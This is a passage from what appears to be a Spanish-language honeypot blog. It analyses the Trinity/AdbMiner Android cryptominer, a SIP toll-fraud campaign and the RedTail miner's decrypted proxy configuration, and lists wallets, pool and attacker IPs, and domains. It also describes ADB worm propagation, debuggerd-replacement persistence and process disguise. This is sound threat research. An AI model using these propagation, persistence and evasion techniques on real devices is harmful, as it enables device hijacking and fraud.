(endat)a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437 SHA-256 (xig, lanzador)d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0 SHA-256 (XMRig extraído)aa85b6b8bcd3d90c2221bd6431733463… · 657.948 B SHA-256 (rtsh.sh extraído)426d8adbd84c7a12fedea5e171f6f57d… · 5.272 B Cartera Monero44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr Pool activo139.99.9.133 : 5555 (OVH SAS, Singapur) - sin denuncias previas Pool de reserva78.46.89.102 : 7777 (Hetzner, Alemania) - sin denuncias previas Componentes del kit/data/local/tmp/{trinity, ufo.apk, xig, endat, rtsh.sh, lock0.txt, botsuinit_1_1.txt} · /sdcard/33 · /sdcard/44 Persistenciasustituye /system/bin/debuggerd y debuggerd64 (el original pasa a debuggerd64_real) Rivales que desinstalacom.google.time.timer · com.android.good.miner · com.google.test.test PropagaciónADB · puerto 5555 · escaneo ciego, sin C2 (get-state → push → install → am start) BlindajeOLLVM: aplanamiento + predicados opacos + direcciones partidas Firma de endat127 bytes = random() de la libc con semilla 1 (la de fábrica) IP que lo trajo103.221.140.29 (China Unicom) - aparato infectado, no central NO es un indicadorLa dirección 48edfHu7V9Z84Yzz…, que también aparece dentro del minero, es la cartera de donaciones de XMRig y viene en el programa original. No la reportes: no es del atacante. Media tabla ha caducadoLa campaña sigue viva y ha cambiado de nombres. Si has llegado aquí a copiar indicadores, empieza por esto: Lo que publiquéLo que cae ahora com.ufo.minercom.google.home.tv /data/local/tmp/trinity/data/local/tmp/m7m /data/local/tmp/endat/data/local/tmp/bdat /data/local/tmp/xig/data/local/tmp/rig /data/local/tmp/ufo.apk/data/local/tmp/tv.apk /data/local/tmp/lock0.txt/data/local/tmp/lk.txt Y el disfraz ha mejorado: com.ufo.miner cantaba; com.google.home.tv pasa por una app de Google TV. Lo único que no han tocado es com.example.test.MainActivity, junto a las órdenes adb -s %s:5555 y get-state. El Capítulo 10 se reía de ese nombre por defecto que nadie renombró. Ocho años y una rotación completa después, es el único indicador que sigue funcionando. Y sobre lo de «sigue viva», que suena a coletilla: entre el 2 y el 10 de septiembre han caído por el cebo cuatro binarios trinity distintos y dos versiones del contenedor, algunas de ellas hasta cuatro veces. No es un fósil dormido en un aparato olvidado: es una campaña que itera. El contenedor de septiembre, por cierto, es el mismo de este capítulo más ocho bytes: un marcador \"DATA\" 00 00 01 00 metido en la frontera de los 128 KB. Misma carga, formato versionado. El autor mantiene su empaquetador aunque no renombre sus clases - que es, en una frase, todo el retrato. Y una última cosa sobre cómo lo pillé, porque el error es instructivo. Cuando cayó, hice lo primero que se hace: buscar su hash en lo que ya tengo catalogado. Cero coincidencias. Muestra nueva, en teoría. No lo era. Era el APK del Capítulo 10 con otro nombre - misma clave de Coinhive, el mismo dex, el mismo certificado. Lo que había cambiado era el envoltorio, y con el envoltorio el hash. Buscar por hash no reconoce un reempaquetado: solo reconoce el fichero exacto que ya viste. El capítulo 10 terminaba con una imagen que me gustó mucho: un teléfono minando para una empresa que cerró en 2019, trabajando para nadie. Sigue siendo cierta - del APK. Lo que no sabía entonces es que ese fósil viaja de polizón. Que va dentro de un paquete con un gusano que se blinda tres veces, un script que le arranca las tripas al sistema para no salir nunca, y un minero de verdad que sí cobra, en una cartera de Monero, en un servidor de Singapur, ahora mismo, mientras lees esto. El pobre diablo del capítulo 10 no trabajaba para nadie. Solo era la tapadera. 10Posdata: no fui el primero Publiqué todo lo anterior y, poco después, me topé con un artículo chino de 2020. Lo firma el Centro de Respuesta ante Virus de Qi'anxin (una de las grandes empresas de seguridad de China) y se titula, más o menos, «Un rincón de los ataques a IoT: la inextinguible operación AdbMiner». Fui directo al apéndice. Y ahí estaba todo lo que yo había sacado a pulso, publicado seis años antes: apéndice de Qi'anxin · 30 de septiembre de 2020矿池 (pools de minado) 139.99.9.133:5555 78.46.89.102:7777 钱包地址 (carteras) 门罗币 (Monero): 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr CoinHive: fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE Los dos pools, exactos. La cartera de Monero, exacta. Y la clave de CoinHive… es la del capítulo 10. La misma que saqué de aquel APK de cinco kilobytes. Lo que esto le quita a este capítulo, y lo que le daLe quita el mérito del hallazgo. La cartera y los pools no los descubrí yo: los publicó Qi'anxin en 2020 y yo llegué seis años tarde, por mi cuenta y sin saberlo. Lo que sí es mío es haberlo confirmado desde mi propio cebo, y haber comprobado que siguen vivos hoy. Y le da algo que yo solo no podía demostrar. Fíjate en que la clave de CoinHive y la cartera de Monero están en la misma lista, en 2020. El capítulo 10 y este (el fósil que no gana nada y el minero que sí cobra) son el mismo negocio. Yo lo deduje abriendo el contenedor; ellos ya lo tenían junto seis años antes. Dos caminos distintos, la misma conclusión. Su tabla de módulos, además, es la mía con otros nombres: Qi'anxin (2020)Mi muestra (2026)Qué es logtrinitymódulo principal: suelta los demás y arranca el minado bdatendatel contenedor tv.apkufo.apkel APK de CoinHive (ya inservible) rigxigel minero rtsh.shrtsh.shel script de arraigo - ni se molestó en renombrarlo nohupnohupigual droidbot(el motor que reconstruí)el gusano de propagación Seis años de «evolución» que consisten en cambiarle la primera letra a tres ficheros. bdat pasó a endat, rig a xig, log a trinity. Y a los otros dos ni eso. Mismo diseño, misma cartera, mismos dos servidores. La ley del mínimo esfuerzo otra vez, ahora medida en años. Ni siquiera es una línea rectaVuelve a mirar la columna de Qi'anxin de 2020 y compárala con lo que cae este mes: bdat, rig, tv.apk. Son exactamente los nombres de hace seis años. No han inventado nada nuevo: han vuelto atrás. Así que aquello de «seis años de evolución» se queda corto, y el chiste se le da la vuelta solo: quien tuviera fichados los indicadores de Qi'anxin de 2020 cazaría la variante de este mes. Quien tenga los míos de agosto, no. Qi'anxin calculaba en 2020, mirando Shodan, que había cerca de diez mil aparatos Android expuestos a esto. Empezó en 2018 apuntando a descodificadores de televisión y acabó apareciendo en postes de carga de coches eléctricos. Y para escanear más rápido, en algún momento le injertaron el módulo de escaneo de Mirai. Así que la respuesta a «¿a dónde va el dinero?» tiene una segunda parte que yo solo no podía dar: a la misma cartera y a los mismos dos servidores desde septiembre de 2020, por lo menos. Seis años. Documentado, público, y con todo detalle desde el primer día. Y ahí sigue, cobrando. Eso es lo que de verdad me llevo de esta posdata, y no es lo que esperaba: el problema no era que nadie lo hubiera descubierto. Estaba descubierto y publicado hace seis años. El problema es que descubrirlo no lo apaga. Continuará - el cebo sigue encendido. Y esta vez me dejo una espina a propósito: sé a dónde va el dinero, pero no cuánto - ni quién está al otro lado. 🍯","date":"2026-08","fam":"Trinity","n":13,"spec":"Trinity (propagador + contenedor)","sum":"En el capítulo 10 cacé el minero, pero no el bicho que lo reparte: aquello lo conté prestado, con el análisis de otros. El cebo, que es rencoroso, me lo trajo entero - blindado tres veces, con un blob que se resistió a todo lo que sé hacer. Hasta que dejé de intentar leerlo.","t":"Tres cerraduras y la llave puesta","tags":["Trinity","ADB","Android","OLLVM","XMRig","Monero","qemu","ingeniería inversa"],"tipo":"Minero Android (cryptojacking)","url":"/capitulo-13/"},{"body":"El capítulo 9 fue una foto: dos horas, un puñado de máquinas intentando que mi centralita trampa cursara llamadas a números de reparto de ingresos. Un fraude en directo, contado tal cual llegó. Pero una foto no te dice quién está detrás de la cámara. Una semana después la foto se había convertido en una película: la misma campaña seguía golpeando, más fuerte, todos los días. Así que esta vez hice algo distinto. Dejé de mirar cada ataque por separado y me puse a cartografiar la operación - sus turnos, sus piezas, hacia dónde se mueve el dinero y, sobre todo, por qué hace las cosas como las hace. Cómo una llamada se convierte en dinero Antes de seguir, el motor de todo esto. Esas siglas que verás por todas partes (IRSF, international revenue share fraud, fraude por reparto de ingresos internacional) nombran un truco sencillo: alguien se hace con un número de teléfono del que cobra una tajada cada vez que ese número recibe una llamada. El resto es aritmética: si además consigue generar él mismo las llamadas, se está pagando a sí mismo. Cada intento que verás en estas páginas es justo eso - alguien buscando una centralita ajena (la mía, de mentira) que curse esas llamadas, y las pague, por él. (Dos matices para el purista: el ataque es toll fraud, colar llamadas por una centralita ajena, distinto del negocio que las monetiza; y ese negocio, cuando va contra numeración occidental normal como la de este caso, se llama con más precisión traffic pumping que IRSF, que es su hermano de destinos exóticos y caros. La mecánica de fondo, cobrar por cada llamada que entra, es la misma.) 01Primero, memoria El cebo, tal como lo tengo montado, tiene un problema para una investigación larga: olvida. Mi VPS no va sobrada de disco, así que dejo que los eventos duren alrededor de una semana y luego se borren; si no, el espacio se llena. Una campaña que dura meses no cabe en siete días. Así que lo primero fue construirle una memoria aparte - una base de datos que se queda con cada intento, para siempre: quién llamó, a qué número, con qué herramienta y cuándo. seguimiento.db · una pasadaingesta → dedup por event_uuid (idempotente) eventos totales : 71.467 IPs distintas : 154 núcleos de nº : 904 ventana : 22 ago → 28 ago (Ese «núcleo» es mi forma normalizada del número de destino: le quito los prefijos de marcación 00, 011, 900… que el atacante prueba por delante, para agrupar todas las variantes que acaban en el mismo teléfono. El mismo destino le aparece marcado de cien formas; el núcleo es el de verdad.) visto Con esto, cada semana puedo añadir una foto nueva sin perder las anteriores. No es un incidente: es una vigilancia. Y con seis días de datos ya cargados, empecé a tirar del hilo. Cómo leo la señal No atribuyo una herramienta solo por su User-Agent (la etiqueta con la que cada programa se presenta al conectar, que se falsea, y aquí se falsea) ni un sistema operativo solo por el TTL. Cada pieza la clasifico por la combinación de varias señales: el comportamiento SIP, las cabeceras, el ritmo, lo que expone el servicio y, cuando lo hay, la versión del software. Algunas cosas que cuento son observaciones directas; otras, hipótesis con más o menos confianza. Lo iré diciendo por el camino. 02La cadena de montaje Lo primero que enseña el grafo de quién marca a qué número es que esto no es un enjambre torpe dando palos. Es una fábrica, con puestos de trabajo. v_pares · roles por función172.110.223.207 → 14.265 REGISTER // enumerador: prueba extensiones 172.110.223.49 → 16.560 INVITE a 1 número // bombeador: una diana 149.50.107.48 → 1.752 INVITE a 1 número 149.50.107.53 → ~1.600 INVITE a 1 número Unas máquinas solo hacen REGISTER: prueban extensiones a ciegas (las líneas internas de una centralita, la 200, la 201…), buscando una puerta abierta (una sin contraseña). Otras solo hacen INVITE: cuando hay puerta, bombean llamadas. Y el detalle que lo delata como industria: un número, un nodo. La bombeadora 172.110.223.49 marcó el mismo número más de dieciséis mil quinientas veces. Y no es una impresión: de las máquinas que bombean, y agrupando sus destinos por núcleo normalizado, el 64% ataca un solo destino, el 85% uno o dos. Eso no es azar - es una línea de producción, con cada obrero en su puesto. Incluso dentro del mismo proveedor (ReliableSite, con las IPs geolocalizadas en Hong Kong) conviven un enumerador y un bombeador: división del trabajo bajo el mismo techo. visto Y hay una capa más, que no se ve mirando quién llama a qué, sino midiendo cuándo. Cronometré el pulso de cada máquina (el hueco entre una llamada y la siguiente) y aparece un patrón que no esperaba: firma temporal · subred 149.50.107.x (MEVSPACE, Polonia)149.50.107.43 una llamada cada 133 s regularidad 0.98 149.50.107.47 una llamada cada 114 s regularidad 0.97 149.50.107.48 una llamada cada 106 s regularidad 0.99 149.50.107.49 una llamada cada 118 s regularidad 0.99 149.50.107.53 una llamada cada 111 s regularidad 0.99 Son cinco máquinas de la misma subred (direcciones casi consecutivas de un mismo proveedor polaco) y cada una dispara una llamada alrededor de cada dos minutos, como un metrónomo: casi todos sus intervalos son idénticos (esa regularidad ~0.98, en una escala de 0 a 1 donde 1 sería una cadencia perfectamente periódica). visto No marcan cuando les apetece; siguen un reloj. Cinco relojes en la misma estantería, y todos en el mismo compás. Cuesta mucho explicar cinco patrones así como algo independiente: parecen responder a una misma automatización (una subred alquilada corriendo el mismo guion). Y el compás se repite en máquinas de otros proveedores. En PebbleHost, una late cada 53 segundos; en LeaseWeb (otra empresa, otra red) otra late cada 57, las dos igual de metronómicas (regularidad 0.98). El mismo tipo de reloj en casas alquiladas distintas. visto No puedo demostrar que sea el mismo operador - no tengo su factura ni su nombre. Pero dímelo tú: ¿de qué otra forma se explica que máquinas en redes y proveedores que no se conocen de nada latan cada una con un reloj tan exacto y en compases tan parejos? No parece un enjambre de atacantes sueltos: se parece más a una sola mano dándole cuerda a relojes en casas distintas. La fábrica no solo reparte el trabajo: apunta a tener un capataz que marca el ritmo. deducido 03El número tiene dueño Los números destino parecían salir de un sombrero: Londres, York, Ontario, Milán, Bratislava… Pero no son anónimos. La numeración se asigna en bloques a los operadores, y en muchos países (el Reino Unido, entre ellos) ese registro es público: lo publican los propios reguladores. Solo hay que ir a buscarlo. Me bajé el listado oficial de numeración británica (el codelist de Ofcom) y busqué a quién pertenece cada bloque. El mismo nombre salió una y otra vez: Ofcom codelist · a quién pertenece el bloque020 3769 → DIDWW Ireland Limited 01904 911 → DIDWW Ireland Limited 01668 509 → DIDWW Ireland Limited 028 4024 → DIDWW Ireland Limited … → DIDWW (6 de 6 bloques UK) DIDWW en los seis bloques británicos. visto Y al otro lado del Atlántico, tres nombres más - Fibernetics, Onvoy/Inteliquent, Iristel. Todos son la misma clase de empresa: mayoristas de numeración, proveedores que revenden números de teléfono al por mayor. Esto no significa que DIDWW esté detrás del fraude. Significa algo más concreto: que los números utilizados por la campaña proceden de bloques cuya asignación regulatoria conduce repetidamente al mismo mayorista. Entre el titular del recurso y quien lo utiliza hay una cadena de intermediarios que todavía no he reconstruido. Ahí está la mecánica del fraude moderno, al descubierto: no necesita inventar números; trabaja con numeración real. El modelo conocido es una cadena de reventa (mayorista → intermediario → usuario final) y, en la última punta, el defraudador la usa para cobrar por cada llamada que consiga bombear. leído Y hay un detalle que salta: aparecen en grupo - 020 3996 ·70 ·74 ·96, tres números del mismo bloque. Utilizados dentro de la misma campaña, difícilmente parecen una selección completamente aleatoria. Es compatible con que procedan de un lote asignado o comercializado conjuntamente. No puedo ver el contrato que hay detrás, pero merecería la pena. Y el registro dice algo más: estos bloques no son de ayer. DIDWW los tiene desde 2014, 2016, 2019 y 2022 - ninguno figura entre las altas del último año. visto No es numeración recién acuñada para la estafa: es inventario legítimo y con solera de un mayorista. Cuándo saltó de ahí a la campaña, y por cuántas manos pasó, no lo dice ningún registro público. 04¿Por qué justo estos números? Aquí está la pregunta que me tuvo dándole vueltas. El IRSF de manual llama a destinos exóticos y caros - islas del Pacífico, satélite, líneas de altísima tarifa. Pero mis atacantes marcaban… York. Milán. Un fijo de Ontario. Numeración occidental, aburrida, barata. ¿Por qué renunciar al número que más paga? La respuesta le da la vuelta a la intuición. Una mitad la documenta la propia industria antifraude (el fraude ya no necesita números caros); la otra, el porqué, es mía: los eligen por sigilo. deducido El giro que lo explica todo La jugada es cambiar los destinos de alta tarifa (los que todo el mundo vigila) por numeración occidental de bajo riesgo y bajo beneficio. ¿La ventaja? Esos números no están en las listas negras, nadie los escruta, así que la línea fraudulenta sobrevive semanas en vez de horas. Se cobra menos por minuto, pero se cobra mucho más tiempo. Paciencia en lugar de codicia. Y eso explica mi muestra entera. No eligieron York al azar ni por torpeza: lo eligieron porque parece legítimo. Un fijo de York cursando llamadas no dispara ninguna alarma de «destino de riesgo»; un número de Tuvalu, sí. La sofisticación no está en el ataque - está en el camuflaje. Escogen el número que menos llama la atención para que la caja registradora siga sonando cuando la del vecino ruidoso ya se ha apagado. La GSMA confirma la primera mitad de la intuición: el IRSF de hoy ya no necesita números obviamente fraudulentos - en 2023, el 90,99% de los ataques de su muestra iban contra numeración válida (y no es una moda reciente: en 2020 ya rondaba lo mismo, el 91,13%). leído Lo que sugieren mis datos es el paso siguiente, y esto ya es hipótesis mía: que entre esos destinos válidos, el defraudador busca precisamente los que menos sospechas levantan. Y el sigilo se ve hasta en el ritmo. Midiendo cuánto sobrevive cada número en mi cebo, aparecen dos tempos: los que aguantan días se bombean a fuego lento (unas 40 llamadas por hora), y los que arden en cuestión de horas se ordeñan a lo bruto (hasta 170 por hora), hasta que alguien los corta. La misma lógica, ahora en la propia cadencia de las llamadas: el que va despacio, dura. visto 05La fábrica corre con herramientas gratis Con la memoria llena, pude contar con qué golpean. Y esperaba encontrar algún kit privado, algo hecho a medida. Lo que hay es lo contrario: utilidades públicas que cualquiera se descarga. reparto por herramienta (User-Agent)dialer genérico \"VOIP\" 31.717 // 44% SIPPTS (pplsip, de Pepelux) 17.713 // 25% · auditoría SIP en Python UAs de operador rotados 6.656 // 9% · Cisco/Avaya/AT\u0026amp;T… falsos SIPVicious (friendly-scanner) 94 // el clásico de 2007 Cerca del 80% del tráfico llega con una etiqueta no maliciosa (un dialer genérico, una herramienta de auditoría o el nombre de un operador), no como malware a medida. visto Pero hay que hilar fino, porque esa etiqueta se falsea - de hecho, un 9% son User-Agents de operador falsos. Ahora bien: falsear el nombre de un escáner no le da nada a nadie (solo te delata y te bloquean), así que cuando aparece pplsip o friendly-scanner, la lectura más razonable es que correspondan a lo que anuncian: SIPPTS (una suite de auditoría SIP, por cierto de un investigador español) y SIPVicious con su configuración por defecto. Con nombre y con cierta confianza, eso es lo que puedo señalar: SIPPTS, una cuarta parte de todo. El 44% que se anuncia como «VOIP» a secas y el 9% falseado no son herramientas que pueda señalar. Confirmar cuál se ejecuta de verdad exige mirar el comportamiento, no la etiqueta - otro hilo del que tirar. Pero la foto de conjunto no cambia: no hace falta malware para explicar esto. Nada que abrir con Ghidra; se monta la operación con lo que un estudiante de seguridad usa en clase. Y ahí aparece el contraste que define esta historia: la parte del dinero es de una sofisticación notable (mayoristas de numeración, cadenas de reventa, la estrategia del sigilo), y la parte del ataque es de saldo. Lo listo no es el hackeo; es la cañería. El que monta esto no es un genio del código: es un gestor que ha entendido la fontanería del sistema telefónico mundial y le abre el grifo con herramientas gratis. 06De quién son las máquinas ¿Y las máquinas que hacen el trabajo sucio? Para el sistema operativo no me fío de una sola pista. Uso el TTL inicial de los paquetes que me mandaron (el valor con el que salieron, descontando los saltos de red del camino), más el escaneo de servicios y sus versiones. Con eso, la flota apunta a una mezcla: unas 24 Windows, unas 13 Linux. Ese tercio de Linux cuenta algo. visto Son VPS viejas y desatendidas - un OpenSSH de hace años, sin actualizar, escuchando en el puerto de siempre. No hace falta un exploit exótico para explicarlas: la hipótesis más sencilla es un compromiso por credenciales SSH débiles o reutilizadas, pero no puedo descartar otras vías. Lo que tengo permite hablar de una máquina probablemente comprometida, pero no reconstruir todavía cómo entraron. Son víctimas: servidores de alguien que no tiene ni idea de que su máquina lleva días llamando a York de madrugada. Y las dos que más bombean esconden un segundo oficio. Tienen miles de puertos abiertos - 2.606 en una de ReliableSite, 708 en una de OVH. visto Eso no es una centralita: encaja con un nodo de salida proxy (un servidor de datacenter que revendería su conexión para que el tráfico de otros salga por ahí), aunque los puertos abiertos, por sí solos, no lo demuestran. (No lo llamo proxyjacking: ese término es para máquinas ajenas secuestradas, y éstas parecen corresponder a infraestructura alquilada o preparada a propósito para esa función.) La misma máquina que bombea llamadas fraudulentas parece desempeñar a la vez esa segunda función. Un mismo servidor, dos negocios sucios montados encima. Sigues un hilo y aparecen tres. 07Indicadores (IOCs) Para quien quiera bajar al detalle, el dossier técnico de la campaña - lo que anotaría cualquiera que quisiera reconocerla o cortarla: TipoValor FamiliaSIP toll fraud · traffic pumping (campaña) Bombeador #1 + proxy172.110.223.49 · ReliableSite (salida HK) · SIPPTS · 2.606 puertos Enumerador (REGISTER)172.110.223.207 · ReliableSite · Linux/nginx Bombeador + proxy51.75.106.116 · OVH · 708 puertos · Scamalytics High Risk leído Subred de bombeadores149.50.107.0/24 · MEVSPACE (Polonia) · 5 IPs metronómicas (.43 .47 .48 .49 .53) · cadencia ~106–133s · regularidad ~0.98 Firma temporal (gemelos)mismo tipo de reloj en proveedores distintos: PebbleHost 194.213.3.117 (~53s) ~ LeaseWeb 203.23.128.196 (~57s) · ambos regularidad 0.98 Herramientas (públicas)SIPPTS (UA pplsip, 25%) · dialer VOIP (44%) · UAs de operador suplantados (9%) · SIPVicious (friendly-scanner, 0,1%) Firma del ataquefuzzing de prefijos de marcación (00/011/+/810/900…) sobre un destino normalizado; un nodo por número Reclutamiento víctimasmezcla Windows/Linux · en las Linux viejas, probable compromiso por SSH Mayoristas de los destinosDIDWW Ireland (×6 UK) · Fibernetics · Onvoy/Inteliquent · Iristel Destinos (NO LLAMAR)numeración geográfica/móvil legítima de bajo riesgo · elegida por sigilo · varios números del mismo bloque = probable lote Sobre los númerosSe listan como evidencia, no como algo a marcar: llamar a uno de esos números es el fraude - es dinero que entra en el bolsillo del defraudador. Aquí no hay un solo número presentado como «prueba a llamar». 08Lo que esto revela ¿Quién estaba al otro lado? Todavía no tengo un nombre (ni lo quiero: ese objetivo no me pertenece a mí), pero sí un retrato: no un genio del código encapuchado, sino alguien que gestiona una fábrica; «obreros» que en buena parte son máquinas de terceros comprometidas; y una caja registradora que, al final del todo, cuelga de un mayorista de numeración muy concreto. Eso es lo que enseñan seis días de memoria: Los números no son aleatorios: tienen dueño, y el dueño está en un registro público. Rastrear numeración es tan «OSINT» como rastrear una IP - solo que casi nadie mira ahí. Eligen el número que menos llama la atención, no el que más paga. La sofisticación del fraude no está en el golpe, está en el camuflaje: numeración occidental limpia que sobrevive semanas porque nadie la vigila. La fábrica corre con herramientas gratis. Casi el 80% del tráfico se presenta con etiquetas no maliciosas (dialer, auditoría, operador), no con malware a medida; y solo el 25% (SIPPTS) es una utilidad de auditoría que pueda nombrar con confianza. Lo caro y lo listo es la fontanería del dinero, no el código. Una misma infraestructura alquilada parece servir para varios fraudes a la vez. Los nodos que bombean llamadas apuntan a usarse también como salidas proxy. Sigues un hilo y aparecen tres. No es un enjambre, es una orquesta. Una subred entera late al mismo compás, y el patrón se repite en otros proveedores. No puedo probar que sea una sola mano - pero el patrón hace pensar que detrás de esas 154 IPs hay, probablemente, muchas menos infraestructuras de las que parece. El punto de corte no es la máquina, es el número. Puedes tirar cien VPS y alquilan cien más. Pero el número cuelga de un mayorista concreto, y ese mayorista puede suspender al revendedor. Ahí es donde duele. Continuará - la máquina de seguimiento sigue encendida. Esto es la foto 1 de N: dentro de unas semanas sabré quién persiste, qué números se han quemado y cuáles siguen cobrando. No era un incidente. Es una vigilancia. 🍯","date":"2026-08","fam":"VoIP","n":14,"spec":"Toll fraud / traffic pumping (SIP)","sum":"En el capítulo 9 alguien intentó que mi centralita pagara sus llamadas. Lo conté y cerré el incidente, con una pregunta colgando: ¿quién estaba al otro lado? Esta vez no me quedé mirando por la ventanilla. Le puse memoria al cebo, seguí el rastro del número y descubrí por qué eligen justo esos números.","t":"La fábrica de llamadas","tags":["SIP","toll fraud","IRSF","SentryPeer","OSINT","honeypot"],"tipo":"Fraude telefónico (SIP)","url":"/capitulo-14/"},{"body":"El capítulo 6 lo dejé con una promesa: «El binario no se va a ninguna parte. Volveré.» Y con un hueco en el mapa - un renglón que ponía ??? descifrado y una flecha al lado: aquí me quedé. Recuerdo dónde lo dejé, que es de donde arranca esto. Abrí el minero de RedTail buscando su cartera de Monero (a dónde va el dinero) y salí de allí con tres cosas: que la cartera no está en el binario, y no está a propósito; que la configuración sí va dentro, embebida y cifrada; y que, barriendo el fichero entero con una prueba estadística, no aparecía por ningún lado la huella de un XOR de clave repetida - de 1 a 40 bytes de clave, ni un positivo. Lo que no saqué fue la pieza de en medio: qué convierte esos bytes cifrados en el texto que lee el minero. Días después tenía dos cosas que entonces no tenía. Una jaula donde ejecutar bichos vivos sin que se escapen. Y una espina que me había dejado clavada el capítulo 13. Te lo cuento. 01La lección que ya tenía escrita Lo del 13 fue así. Destripé un bicho, me creí el primero en verle una tripa concreta y, antes de publicar, hice lo que hago siempre: pegar el hallazgo en un buscador. Salió un informe chino de 2020 con todo lo mío dentro, seis años antes. No era el primero. Ni de lejos. Con esa espina releí mi propio capítulo 6. Y lo incómodo no fue encontrar un error - fue encontrar, en la última sección, esta conclusión firmada por mí: Lo que yo mismo escribí en el capítulo 6«Comprobar antes si alguien ya pasó por aquí. Debería haber sido lo primero, no lo último.» La lección ya estaba escrita. La había escrito yo. Y aun así, unos párrafos más arriba de esa frase, había otra que no había verificado nunca: «nadie ha publicado cómo se descifra la configuración de RedTail». Y ojo, que buscar, busqué. Fui a Akamai, que es la referencia de esta familia, y a Malpedia, que es el catálogo. No encontré nada, y me quedé tan ancho. Lo que no hice fue seguir buscando después de que la fuente grande me diera la razón. Así que esta vez busqué de otra manera: con otras palabras, en otros idiomas y en sitios más pequeños. Y volví a equivocarme - pero de otra forma. 02Estaba escrito. En italiano. No hizo falta cavar mucho, una vez que dejé de cavar donde ya había cavado. Un análisis técnico italiano tenía la familia abierta en canal, y encajaba pieza a pieza con lo que Akamai ya había contado: Los dominios de sus proxies, con nombre y todo, publicados. Y dos más de los que yo llegué a ver. El puerto 2137 (el que en el capítulo 6 señalé como su firma) documentado como su canal de minado sobre TLS. El porqué de la cartera ausente. Y aquí voy a ser justo conmigo mismo, que en esto es fácil pasarse de flagelante: en el 6 acerté el qué. Dije que la cartera no está en el fichero y que no está por diseño, y lo deduje mirando lo que le habían amputado al minero. Lo que no tenía era el cómo, y lo cuenta Akamai con todas las letras: RedTail no apunta a un pool público - se monta su propia infraestructura de minado, proxies y pools privados suyos, que reconocen a sus mineros por la IP desde la que llaman. La cartera se queda de ese lado. En el binario no le hace falta. O sea: mi conclusión era buena, y el mecanismo que la explica llevaba más de un año publicado. Que es una manera elegante de decir que me pasé una tarde deduciendo algo que podía haber leído. Y la otra pared, la del descifrado (la que dejé abierta con un volveré), tampoco era un misterio abierto. Era un misterio resuelto en un idioma que no se me ocurrió probar. 03Pero tenía la jaula montada Podría haberlo dejado ahí, con la lección aprendida por segunda vez y la cara un poco roja. Pero me quedaba un gusanillo - y una herramienta. De Trinity, el gusano del capítulo 13, me quedó montado un laboratorio para ejecutar malware sin que se escape: una máquina aislada, con el cable de red desenchufado, y el proceso encerrado en una red de mentira (una interfaz falsa, una ruta a ninguna parte) desde la que no sale un solo paquete. Lo probé antes de nada: desde dentro de esa jaula, internet no existe. Y pensé: ya que la tengo, hago el mismo camino. No para descubrir nada que no supieran los demás (eso ya lo había asumido) sino por verlo con mis propios ojos, desde mi propio cebo. El minero descifra su config al arrancar, la tiene en memoria unos instantes antes de intentar conectar. Solo había que mirar en ese momento. La misma línea que moví en el 13Sí, esto es ejecutar un bicho vivo, y sí, va contra la regla con la que empecé esta bitácora. La muevo igual que la moví en el capítulo 13, y por lo mismo: en una jaula, sin red, observar no es soltar. Y aquí, además, es un minero, no un gusano: este binario no se propaga por sí mismo - lo suyo es minar y hablar con su infraestructura. (Que la campaña que lo reparte use exploits y credenciales robadas es otra historia, y no es la que se ejecuta aquí.) En una red de mentira, esa llamada muere contra una pared pintada. 04Lo que vi en la memoria Lanzo el minero dentro de la jaula y lo pierdo de vista en dos segundos. Porque lo primero que hace no es minar: es desaparecer. Se suelta de la terminal que lo ha arrancado y se presenta en la tabla de procesos con otro nombre. Donde debería ir el nombre del fichero pone php-fpm: pool www - un proceso de servidor web de lo más aburrido, de esos por los que nadie que mire un ps pasa el dedo. Entre sus otros disfraces lleva /bin/mariadbd y /usr/sbin/ip: una base de datos y una herramienta de red del propio sistema. Detalle de oficio, para quien venga detrásPor el nombre no lo vas a encontrar, porque el nombre se lo ha inventado él. Lo encontré por el usuario con el que lo lancé: un proceso puede cambiarse la etiqueta, pero no el dueño. Y aquí está la gracia de la jaula: no hay prisa. El bicho ya está corriendo, ya se ha descifrado la configuración para poder usarla, y todavía no ha conseguido hablar con nadie. Así que lo congelo en seco (una señal de parada, y el proceso se queda a media frase) y le leo la memoria desde fuera, con calma, por el mismo sitio por el que el sistema te deja mirar cualquier proceso tuyo. Y ahí está. En claro. Lo mismo que en el disco va cifrado: config descifrada · sacada de la memoria del proceso\"url\": \"proxies.identities.network:2137\" \"url\": \"proxies.insanecppdev.com:2137\" \"url\": \"proxies.insanitycpp.cx:2137\" Los tres proxies, en el 2137. Exactamente lo que decían los informes - pero saliendo de mi bicho, en mi máquina, con mis manos. No es una exclusiva; es otra cosa. Es la diferencia entre creerte algo y haberlo visto. Un aviso si vas a apuntar esos nombres: rotan. Un rastreador público listaba ese mismo día otros dominios distintos de la misma familia. Estos tres son los que traía mi muestra, no la lista eterna de RedTail. Y con la configuración salió un detalle que no esperaba. La única conexión que el minero intenta al arrancar no va a ninguno de sus proxies: va al puerto 853 de una IP. El 853 es el puerto habitual del DNS sobre TLS, así que todo apunta a que va por ahí - que la conexión lleve dentro un DoT de verdad no lo he abierto a mirar; lo que tengo es el destino y el puerto. En vez de preguntar «¿qué IP tiene proxies.insanecppdev.com?» a la vista de todo el mundo (de su proveedor, del cortafuegos de la casa, de cualquiera que mire el tráfico), lo pregunta por un canal cifrado. No esconde solo con quién habla: esconde a quién pregunta por él. Fui a mirar de quién era esa IP antes de emocionarme (lección aprendida, y esta vez a tiempo) y menos mal. Esa IP responde por dns.njal.la: el resolutor público de Njalla, un servicio sueco orientado a la privacidad que usa muchísima gente legítima. No es una IP que yo pueda atribuir a la infraestructura de RedTail - es un servicio de terceros al que el bicho le pregunta. O sea: no monta su propio DNS. Se apoya en uno ajeno, orientado a la privacidad, y mete la consulta dentro de un canal cifrado. Por qué esto NO es un indicadorEstuve a punto de apuntar esa IP como «infraestructura de RedTail». Habría sido un error de los que se copian: dns.njal.la lo usan miles de personas que no tienen nada que ver con esto. Señalarlo sería como denunciar a la compañía de teléfonos porque un delincuente hizo una llamada. El dato bueno no es la IP - es la técnica: RedTail resuelve sus dominios por un DNS anónimo cifrado. Eso sí retrata al operador. 05Y encima, la tabla que no era Y ahora el error propio, que es el que de verdad 